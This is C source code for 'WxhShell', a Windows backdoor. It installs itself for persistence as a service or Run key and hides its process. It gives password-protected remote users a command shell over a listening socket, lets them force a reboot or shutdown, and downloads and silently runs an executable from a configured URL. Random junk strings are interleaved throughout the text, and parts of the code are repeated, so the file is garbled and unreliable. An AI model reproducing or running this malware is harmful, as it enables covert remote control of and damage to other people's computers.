j ^r>f2 x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x^)g'16` if(NULL == hInst ) return 0; ^p 2.UW g={]Mzh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N&fW9s} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NTm<6Is` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RQ^m6)BTo CYt jY~ if (!NtQueryInformationProcess) return 0; T2DF'f3A Yz=h"Zr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4YDT%_h0 if(!hProcess) return 0; jj!N39f }UKgF. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BFMS*t` 5[,+\ CloseHandle(hProcess); 7deAr$?Wx djsz!$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "H>r-cyh if(hProcess==NULL) return 0; jq57C}X}2 E3S%s HMODULE hMod; ;Y'8:ncDn char procName[255]; 6|
*(dE2x( unsigned long cbNeeded; 7q%|4Z-~ ^^7L"je]g if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); euV $2Fg @s%X CloseHandle(hProcess); M=5d95*-} q.=^iz&m if(strstr(procName,"services")) return 1; // 以服务启动 =oE_.ux\ 5LQk8NPh return 0; // 注册表启动 9ZDVy7m\i- } FZe:co8Mu *.,"N} // 主模块 O87"[c`> int StartWxhshell(LPSTR lpCmdLine) 5vD3K!\u { J| SwQE~ SOCKET wsl; 6OL41g' BOOL val=TRUE; lSH ZV
Fd int port=0; XkPv*%Er8 struct sockaddr_in door; EKZA5J7kn |',M_
e] if(wscfg.ws_autoins) Install(); m`hGDp3 f).*NX port=atoi(lpCmdLine); CifA,[l34 i@P 9EU if(port<=0) port=wscfg.ws_port; <7=&DpjI7F TC qkm^xv WSADATA data; NWEhAj<w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UT3bd,, \un sh^M if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; UTZ776`S&X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `6&`wKz door.sin_family = AF_INET; ~Fy`>* door.sin_addr.s_addr = inet_addr("127.0.0.1"); [6AHaOhR' door.sin_port = htons(port); Ri|k<io M_k`%o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8
AFMn[{ closesocket(wsl); JC=dYP} return 1; di7A/B } Da-u-_~ B@-|b if(listen(wsl,2) == INVALID_SOCKET) { O!;H}{[dg closesocket(wsl); r0>q%eM8 return 1; N83!C=X' } l+%Fl=Q2em Wxhshell(wsl); 4~!Eje! WSACleanup(); LU%#mY c$9sF@K? return 0; R7lYu\mA WFouoXlG0 } Te# ]Cn| PPEq6} // 以NT服务方式启动 >-!r9"8@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +A@m9 { <mL%P`Jj
DWORD status = 0; ~i%-WX DWORD specificError = 0xfffffff; 1\/{#c 9I85EcT^4" serviceStatus.dwServiceType = SERVICE_WIN32; ton1oq
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %NNj9Bl<VV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DKX/W+#a serviceStatus.dwWin32ExitCode = 0; wfE^Sb3 serviceStatus.dwServiceSpecificExitCode = 0; ~p:?QB>1]
serviceStatus.dwCheckPoint = 0; 6
jmrD serviceStatus.dwWaitHint = 0; yE#g5V& 4sTMgBzw hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !x>,N%~ if (hServiceStatusHandle==0) return; j1/+\8Y Oukd_Ryf status = GetLastError(); :$NsR*Cq*9 if (status!=NO_ERROR) GQb i$kl { eH
%Ja[ serviceStatus.dwCurrentState = SERVICE_STOPPED; GWhE8EDT serviceStatus.dwCheckPoint = 0; ?=<~^Lk serviceStatus.dwWaitHint = 0;
JnY$fs*" serviceStatus.dwWin32ExitCode = status; /jM_mrpz serviceStatus.dwServiceSpecificExitCode = specificError; i0>]CJG SetServiceStatus(hServiceStatusHandle, &serviceStatus); !$_~x
8K1- return; ?\ZL#)hr"p } yNBv-oe5 <:">mV+/ serviceStatus.dwCurrentState = SERVICE_RUNNING; e!GZSk
serviceStatus.dwCheckPoint = 0; YxXqI serviceStatus.dwWaitHint = 0; /,!<Va;~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6hO-H&r++ } *Ddi(` [
7g>< // 处理NT服务事件,比如:启动、停止 >%u@R3PH] VOID WINAPI NTServiceHandler(DWORD fdwControl) AotCX7T2T { #.H}r6jqs switch(fdwControl) X3<K 1/< { |#k@U6`SG case SERVICE_CONTROL_STOP: }AlYNEY serviceStatus.dwWin32ExitCode = 0; onwjn+"& serviceStatus.dwCurrentState = SERVICE_STOPPED; l-<`m#/v serviceStatus.dwCheckPoint = 0; Sm)u9 serviceStatus.dwWaitHint = 0; V7EQ4Om:It { TN\|fzj SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,!Q]q^{C:W } yrnv!moc%t return; `rlk|&T1 case SERVICE_CONTROL_PAUSE: vy[C'a serviceStatus.dwCurrentState = SERVICE_PAUSED; A|L'ih/ break; iPvuz7j=h case SERVICE_CONTROL_CONTINUE: (,B#t7ka serviceStatus.dwCurrentState = SERVICE_RUNNING; f"dSr
break; s3:9$.tiR[ case SERVICE_CONTROL_INTERROGATE: O(c@PJem break; $5NKFJc }; py
@(
< SetServiceStatus(hServiceStatusHandle, &serviceStatus); l(!/Q|Q| } E"6X|I n :Wc_Utt // 标准应用程序主函数 H}/05e int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wpr
,jN8b { uR$i48} Y]Vq\]m\ // 获取操作系统版本 BRzfic:e OsIsNt=GetOsVer(); 0J9D"3T) GetModuleFileName(NULL,ExeFile,MAX_PATH); \vRd} GSi>l,y' // 从命令行安装 $=)gpPT if(strpbrk(lpCmdLine,"iI")) Install(); ?IF)+] du_4eB // 下载执行文件 G69GoT if(wscfg.ws_downexe) { XogVpkA if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ls}7VKl' WinExec(wscfg.ws_filenam,SW_HIDE); qtMD CXZ^n } PyBD hr/o<#OW if(!OsIsNt) { r|eZv<6 // 如果时win9x,隐藏进程并且设置为注册表启动 @kxel`,$e HideProc(); IeP
WOpj3 StartWxhshell(lpCmdLine); TB!((' } T^:fn-S}= else 4CrLkr if(StartFromService()) p*20-!{A // 以服务方式启动 !q'
4D!I StartServiceCtrlDispatcher(DispatchTable); V 1/p_)A else M'L;N!1A // 普通方式启动 ++jAz<46 StartWxhshell(lpCmdLine); 4<gb36)|4 Gh\q^?} return 0; GpI!J}~m } +?dl`!rE VUwC-) ;+/o?:AH Nd@~>&F =========================================== Ef)yQ *F`A S> "@/62b hgj <>H| 'xE
_Cj Fmr}o(q1 " yN6>VD{F Vzl^Ka' #include <stdio.h> VIJ<``9[ #include <string.h> 8gy_Yj&{P #include <windows.h> gckI.[!b #include <winsock2.h> IzLQhDJ1 #include <winsvc.h> X3%Ic`Lq# #include <urlmon.h>
rsXq- Pq* p B;3bc #pragma comment (lib, "Ws2_32.lib") OI}cs2m #pragma comment (lib, "urlmon.lib") &(N+.T5cp .@ F]Pht #define MAX_USER 100 // 最大客户端连接数 <RNJ>>0 #define BUF_SOCK 200 // sock buffer T~:|!` #define KEY_BUFF 255 // 输入 buffer 4\M.6])_ EYX$pz(x; #define REBOOT 0 // 重启 $O)3q
$| #define SHUTDOWN 1 // 关机 r^,<(pbd N!2Rl #define DEF_PORT 5000 // 监听端口 U#&7p)4( Ch \&GzQ #define REG_LEN 16 // 注册表键长度 m3<+yz$!r #define SVC_LEN 80 // NT服务名长度 w= P9FxB L+}n@B // 从dll定义API Iw<i@=V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tptN6Isuh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OTDg5:> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H1n1-!%d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NMOut@ QPtGdd // wxhshell配置信息 }g7]?Ee struct WSCFG { n\z,/'d" int ws_port; // 监听端口 Z|"p*5O, char ws_passstr[REG_LEN]; // 口令 j _L@U2i int ws_autoins; // 安装标记, 1=yes 0=no :Bu2,EL*O char ws_regname[REG_LEN]; // 注册表键名 L|@y&di char ws_svcname[REG_LEN]; // 服务名 qqrq11W char ws_svcdisp[SVC_LEN]; // 服务显示名 svf|\p>]H char ws_svcdesc[SVC_LEN]; // 服务描述信息 E.|-?xQ6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 03E4cYxt5 int ws_downexe; // 下载执行标记, 1=yes 0=no 4k-+?L!/G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *jIqAhs0{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mE%$HZ} V'*~L\;pU }; !`41q=r uVyGk~ // default Wxhshell configuration 2owEw*5jl/ struct WSCFG wscfg={DEF_PORT, o]:3H8 "xuhuanlingzhe", Ig]iT 1, kVK/9dy-F "Wxhshell", OCZaQ33 "Wxhshell", Suk "WxhShell Service", Sf5X3,Uw "Wrsky Windows CmdShell Service", $Iv2j">3) "Please Input Your Password: ", W"^wnGa@a 1, a<}#HfC;' "http://www.wrsky.com/wxhshell.exe", ]0hrRA` "Wxhshell.exe" Mj[f~ }; JRCrZW} <S?ddp2 // 消息定义模块 < -W*$?^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PxH72hBS char *msg_ws_prompt="\n\r? for help\n\r#>"; D?XM,l+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JRo?s~Ih char *msg_ws_ext="\n\rExit."; w2_bd7Wp< char *msg_ws_end="\n\rQuit."; b)(?qfXWP char *msg_ws_boot="\n\rReboot..."; ?v>ET2wD char *msg_ws_poff="\n\rShutdown..."; -46C!6a char *msg_ws_down="\n\rSave to "; J+d1&Tw& ok|qyN+ char *msg_ws_err="\n\rErr!"; V,rq0xW char *msg_ws_ok="\n\rOK!"; 3gd&i oy<WsbnS char ExeFile[MAX_PATH]; 8JmFi int nUser = 0; rV08ad HANDLE handles[MAX_USER]; M%jPH int OsIsNt; Xd^\@
.{y
uo{u SERVICE_STATUS serviceStatus; y
WV#Up SERVICE_STATUS_HANDLE hServiceStatusHandle; B,,D7cQC qOIW(D // 函数声明 q.,JVGMS int Install(void); a!O0,y int Uninstall(void); Q0EiEX) int DownloadFile(char *sURL, SOCKET wsh); ~ vqa7~}m int Boot(int flag); R<OI1,..r void HideProc(void); sc,Xw:YO int GetOsVer(void); o=0]el^A int Wxhshell(SOCKET wsl); =s<( P1|" void TalkWithClient(void *cs); HRB<Y
mP@ int CmdShell(SOCKET sock); Z+@2"%W int StartFromService(void); E Cyyl int StartWxhshell(LPSTR lpCmdLine); U8
nH;}i +TXX$)3% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K tNY_&xd VOID WINAPI NTServiceHandler( DWORD fdwControl ); )7h$G-fe rRFhGQq1m // 数据结构和表定义 D_vbSF) SERVICE_TABLE_ENTRY DispatchTable[] = B(M6@1m_ {
"~'b {wscfg.ws_svcname, NTServiceMain}, 6F e34n]m {NULL, NULL} `r?7oxN }; K4kMM*D ,G)r=$XU // 自我安装 G37U6PuZi int Install(void) `]%|f { i>(e}<i char svExeFile[MAX_PATH]; wiiCd HKEY key; ti#7(^j strcpy(svExeFile,ExeFile); -\C!I c"[cNZo // 如果是win9x系统,修改注册表设为自启动 :Y [LN if(!OsIsNt) { <i,U )Tt^C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )==Jfn y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #'y#"cmQ. RegCloseKey(key); 4ecP*g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <)3u6Vky9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0=?<y'= RegCloseKey(key); 9g<7i return 0; =zz~kon9 } #"B\UN } D|{jR~J)xK } HPZ}*m' else { Ftr5k^! 4T ~} // 如果是NT以上系统,安装为系统服务 62zYRs\Y)X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qw^uPs7Uw if (schSCManager!=0) BBev< { T
\_]^]> SC_HANDLE schService = CreateService 7Ve1]) u ( \pVXimam schSCManager, r4SXE\
G wscfg.ws_svcname, #~
)IJ wscfg.ws_svcdisp, V{!J-nO SERVICE_ALL_ACCESS, bJX)$G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J|qZ+A[z SERVICE_AUTO_START, ax<?GjpM SERVICE_ERROR_NORMAL, LA}Syt\F svExeFile, 9@Jtaq>jf NULL, Hhcpp7cr' NULL, BW$"`T@c6~ NULL, (^Y~/ NULL, i uF*.hc,% NULL r/u A.Aou^ ); y#3j`. $3p if (schService!=0) ?k(7 LX0j { ;;#qmGoE CloseServiceHandle(schService); r2,.abo CloseServiceHandle(schSCManager); N(Fp0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tu).K.p: strcat(svExeFile,wscfg.ws_svcname); 'ZDp5pCC; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oY933i@l)P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v]B3m RegCloseKey(key); G?Q3/y( return 0; kH
G"XTL } Q$zO83 } &B6Ep6QS CloseServiceHandle(schSCManager); f,018]| } 6G[4rD& } *GL/aEI<$ ~T1XLu return 1; M`,)w i }
zem8G2#c "eB$k40- // 自我卸载 uM_wjP int Uninstall(void) @`q:IIgW { h4T5+~rw HKEY key; 6\g cFfo YQj 2 if(!OsIsNt) { @$[?z9ck" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NQJq6S4@ RegDeleteValue(key,wscfg.ws_regname); [OC5l> RegCloseKey(key); X\{LnZ@r4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `erV$( M RegDeleteValue(key,wscfg.ws_regname); /`wvxKX RegCloseKey(key); PHZ0P7 return 0; t gI{`jS% } TFlet"ge= } j+$rj } ]:XoRyIZ1[ else { (|klSz_4LM 9\_eK,*B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;$.J3! if (schSCManager!=0) Egg=yF>T { X= 5xh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A%KDiIA if (schService!=0) CDQW !XHc { =8AO: if(DeleteService(schService)!=0) { oX30VfT CloseServiceHandle(schService); ~*z% e*EL CloseServiceHandle(schSCManager); RtTJ5@V( return 0; |$8~?7Jv } =P't(< CloseServiceHandle(schService); zv0l,-o } Yc_8r+;( CloseServiceHandle(schSCManager); p<2L.\6" } 6dabU* } J8uLJ v+46QK|I& return 1; /:~\5}tW } 6e9,PS +6HVhoxU# // 从指定url下载文件 [>8}J" int DownloadFile(char *sURL, SOCKET wsh) k/#&qC>] { l;R%= P?'F HRESULT hr;
M+||rct char seps[]= "/"; q&s3wDl/ char *token; ,(d)Qg char *file; Wbr|_W char myURL[MAX_PATH]; !t$'AoVBq char myFILE[MAX_PATH]; r`W)0oxD EofymAi% strcpy(myURL,sURL); >,gg5<F-E token=strtok(myURL,seps); x@P y>f2 while(token!=NULL) .}t~'*D { ]O+Ma}dxz: file=token; uki#/GzaO token=strtok(NULL,seps); Rdvk
ml@@ } ]m
g)Q:d, G&D7a/G\ GetCurrentDirectory(MAX_PATH,myFILE); +)!Y rKuu strcat(myFILE, "\\"); Q sZx)
bO strcat(myFILE, file); 0m%|U'm|j send(wsh,myFILE,strlen(myFILE),0); gd%NkxmW send(wsh,"...",3,0); q)X$^oE!6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OK[T3/v, if(hr==S_OK) ^t` k0< return 0; `^u>9v-+' else *6sl return 1; K2M~-S3 qLn/2 } +T|JK7 [ey:e6,T9 // 系统电源模块 |'P]GK int Boot(int flag) SQBa;hvgM { &]" HANDLE hToken; ")O%86_Q: TOKEN_PRIVILEGES tkp; [Y|8\Ph`& ~ELNyI11 if(OsIsNt) { 2`7==? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GPkmf%FJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6G1@smP tkp.PrivilegeCount = 1; v\KA'PmiP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .AR#&mL9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d4u}) if(flag==REBOOT) { t2/#&J] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6IBgt!=, return 0; Yw4n-0g } $ 7O}S.x else { t[ubn+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QS%%^+E2 return 0; nygbt<;? } K&vF0*gN3 } R<\F:9 else { RN$1bxY if(flag==REBOOT) { /1"(cQ%? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {G U&a return 0; .>=(' - } <e Th else { 7&t-pv92* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <'qeXgi return 0; ![`Ay4AZ@a } vI:;A/& } jr)1(** (!ZM{Js% return 1; Q\^O64geD } S|SV$_
( pXrFljoYl[ // win9x进程隐藏模块 F<n3 void HideProc(void) ,F79xx9ufg { .Zn^Nw3 l==`` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z>QF#."m if ( hKernel != NULL ) uD\?(LM { <v)1<*I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PPb7%2r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D?;"9e% FreeLibrary(hKernel); ~Mx!^ } :}5j##N &ib5*4! return; ,5i` -OI } `bFff%_ I KqQ>Z-q~ // 获取操作系统版本 H\h3TdL int GetOsVer(void) $w)!3c4 { J2::'Hw*s OSVERSIONINFO winfo; v4u5yy_;( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u?4:H=;> GetVersionEx(&winfo); d:#yEC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _2hS";K return 1; SG6kud\b else H<VTa? n return 0; _y),J'W^3u } tz5e"+Tz W=j[V
Oq // 客户端句柄模块 Cbg!:Cws int Wxhshell(SOCKET wsl) FKIw!m ~ { f-bVKHt SOCKET wsh; h}*/Ge]aM struct sockaddr_in client; /j4P9y^]= DWORD myID; ".W8) <vUbv while(nUser<MAX_USER) Z3#P,y9@ { U}6B*Xx' int nSize=sizeof(client); 6ys
&zy wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M.x=<:upp if(wsh==INVALID_SOCKET) return 1; gnFr}L&j C9~52+S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ",^Mxm{ if(handles[nUser]==0) kqM045W7 closesocket(wsh); s"0Y3x3 else 4.Q} 1%ZN nUser++; q@Zn|NR } GR
+[UG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z2MWN\?8 :# .<[ return 0; u])b,9&En } ZG>PQA V,mw[Hw // 关闭 socket }j^i}^Du, void CloseIt(SOCKET wsh) N9jH\0nG { Hw7;;HK
7 closesocket(wsh); B
P2=2)Q nUser--; Ka[t75~; ExitThread(0); QIB\AAclO } ]QpWih00V 8 7BHq) // 客户端请求句柄 Yn@lr6s void TalkWithClient(void *cs) :K-~fA%kt? { Q?nN!eT U*i{5/$ SOCKET wsh=(SOCKET)cs; ;*Ivn@L char pwd[SVC_LEN]; oE+R3[D?r char cmd[KEY_BUFF]; {l>yi char chr[1]; <}E!w_yi int i,j; pnjXf.g"O C1jHz while (nUser < MAX_USER) { /DK"QV!]s mzeY%A<0^ if(wscfg.ws_passstr) { bL'aB{s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P+s!|7' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nSW=LjrO~< //ZeroMemory(pwd,KEY_BUFF); eCqHvMp i=0; XiL~TCkx4 while(i<SVC_LEN) { |2RC# ]/-Y ,eTUhK // 设置超时 I(V!Mv8j fd_set FdRead; r~/ struct timeval TimeOut; rf>0H^r FD_ZERO(&FdRead); ?$*SjZt FD_SET(wsh,&FdRead);
1Md TimeOut.tv_sec=8; ^su<uG<R TimeOut.tv_usec=0; jzDuE{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d Vj_8> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z2g3FUTX)b `-(|>5wWS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =T(6#" pwd=chr[0]; N>XS=2tzN if(chr[0]==0xd || chr[0]==0xa) { $})g?Q pwd=0; r[BVvX/,F break; l8I /0`_ } swK-/$# i++; |$vX<. S } lr`&mZ( j qAn! Rk A // 如果是非法用户,关闭 socket $6mX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cki81bOT } >4#)r8;dx Y0x%sz5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y9x w
9l' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `8AR_7i hp#W9@NR while(1) { 8n'B6hi :c8&N-` ZeroMemory(cmd,KEY_BUFF); do*EKo wN;^[F // 自动支持客户端 telnet标准 .}O[dR j=0; _a6[{_Pc while(j<KEY_BUFF) { ~yH?=:>U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); swM*k;$q{ cmd[j]=chr[0]; AS
=?@2 q if(chr[0]==0xa || chr[0]==0xd) { ^>jwh cmd[j]=0; &3bx`C break; jN[`L%Qm } <eQj`HL j++; jz
qyk^X } %p2Sh)@M ~/98Id}v // 下载文件 L3@82yPo! if(strstr(cmd,"http://")) { ]j`c]2EuP send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~:Ll&29i if(DownloadFile(cmd,wsh)) SKkUU^\#R` send(wsh,msg_ws_err,strlen(msg_ws_err),0); nEJY5Bz$ else n2)@S0{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GBRa.;Kk } /ro=?QYb else { f33 l$pOp - `p4-J!Fy switch(cmd[0]) { ] Hzt b L*&p! // 帮助 S7/eS)SQR case '?': { %-c*C $ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hw=
Ft4L break; 3HcQ(+Z } nlW +.a[ // 安装 7ccO93Mz case 'i': { 9f&C if(Install()) >pp5;h8! send(wsh,msg_ws_err,strlen(msg_ws_err),0); "nw;NIp! else b[o"7^H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6YGubH7%_ break; 6]W=nAD } BYVY)<v/ // 卸载 q,93nhs " case 'r': { *X+79vG: if(Uninstall()) }a/x._[s send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&.{7YF else PIdikA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?~hHGf\^b6 break; Qo;zHZ' } VJickXA // 显示 wxhshell 所在路径 {<R2UI5m5 case 'p': { 8,?h~prc char svExeFile[MAX_PATH]; {q`jDDM strcpy(svExeFile,"\n\r"); +yk24
`> strcat(svExeFile,ExeFile); g*03{l#P send(wsh,svExeFile,strlen(svExeFile),0); inh=WUEW break; apg=-^L' } |mGFts}0o' // 重启 $}>+kHoT{ case 'b': { +@p%
p send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mLP.t%?# if(Boot(REBOOT)) y5*Z3"< send(wsh,msg_ws_err,strlen(msg_ws_err),0); =a@j= else { x{n`^;Y1 closesocket(wsh); l5Gq|!2yxD ExitThread(0); P<X\%_Iat } n1ly
y0%u break; H!5\v"]WB } :6vm+5! // 关机 4^WpS/#4 case 'd': { E\as@pqo\p send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f!I[>&n if(Boot(SHUTDOWN)) psg)*'r send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8WP0Qx/ else { ]:4*L closesocket(wsh); Ju96#v+: ExitThread(0); $$Oey)* } aMWmLpv4' break; zO ).T
M_ } p i
%<Sy // 获取shell {^CY..3
A case 's': { "Zl5< CmdShell(wsh); fI{&#~f4C closesocket(wsh); [5G6VNh= ExitThread(0); 6p?,( break; 5nT"rA } jbVECi- // 退出 9Uj$K>: case 'x': { &PYK8}pBk3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NG "C&v CloseIt(wsh); r'^Hg/Jzt break; G,o6292hj } E"qRw_
~t // 离开 &cxRD case 'q': { Y9uC&/_C send(wsh,msg_ws_end,strlen(msg_ws_end),0); $c]fPt"i closesocket(wsh); D^l%{IG
WSACleanup(); $8UUzk exit(1); 3Z5D)zuc break; j27?w< } `j,Yb]~s79 } x3 q]I 8q } ^@3sT,M,S sz:g,}~h // 提示信息 fVF2-Rh= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n>ULRgiT:o } WY?[,_4U } (.D~0a JU Si8pzd return; }uJu>'1[G } *5%d XixN =Je[c,&j$? // shell模块句柄 tnH2sHby int CmdShell(SOCKET sock) $*e2YQdLo { B*
?]H*K STARTUPINFO si;
DJ'zz&K ZeroMemory(&si,sizeof(si));
coW:DFX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &;^YBW :I si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }=< PROCESS_INFORMATION ProcessInfo; YC++&Nk char cmdline[]="cmd"; Z/k:~%|E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kW;+|qs^ return 0; #Y*X<L } * @ 3Ag( vHyC; 4' // 自身启动模式 zHA!%>%' int StartFromService(void) R3x3]]D { qTdh eX/ typedef struct TE3lK(f { d,+Hd2o^X DWORD ExitStatus; B2>H_dmQ DWORD PebBaseAddress; ;LcZ`1 DWORD AffinityMask; 3EJj9}#x"' DWORD BasePriority; "I3@m%qv ULONG UniqueProcessId; $"+djI?E9 ULONG InheritedFromUniqueProcessId; B3We|oe ! } PROCESS_BASIC_INFORMATION; rDm~h~u5 1oR7iD^ PROCNTQSIP NtQueryInformationProcess; Zq+v6fk_Mn A P)L:7w'e static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _zY#U9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]{3)^axW; 0)Uce=t` HANDLE hProcess; (SpX w,: PROCESS_BASIC_INFORMATION pbi; +"rDT1^V ] eotc2?u HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jyZ (RB if(NULL == hInst ) return 0; aS{|uE] l3Xfc2~ 2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ((H^2KJn g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t<#TJ>Le NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); th O#ai)e_uQk if (!NtQueryInformationProcess) return 0; ??^5;P{yx a=J^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); my(2;IJ#{ if(!hProcess) return 0; Ro\8ZXUQa {m4b(t`xw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |]jb& M ZInpMp CloseHandle(hProcess); JZ)RGSG i )#?"Gjf~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |n2qVR, if(hProcess==NULL) return 0; %RTBV9LIXr IHB}`e| HMODULE hMod; XW[j!`nlk char procName[255]; `F-/QX[: unsigned long cbNeeded; Oxm>c[R LhA*F[6$M if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 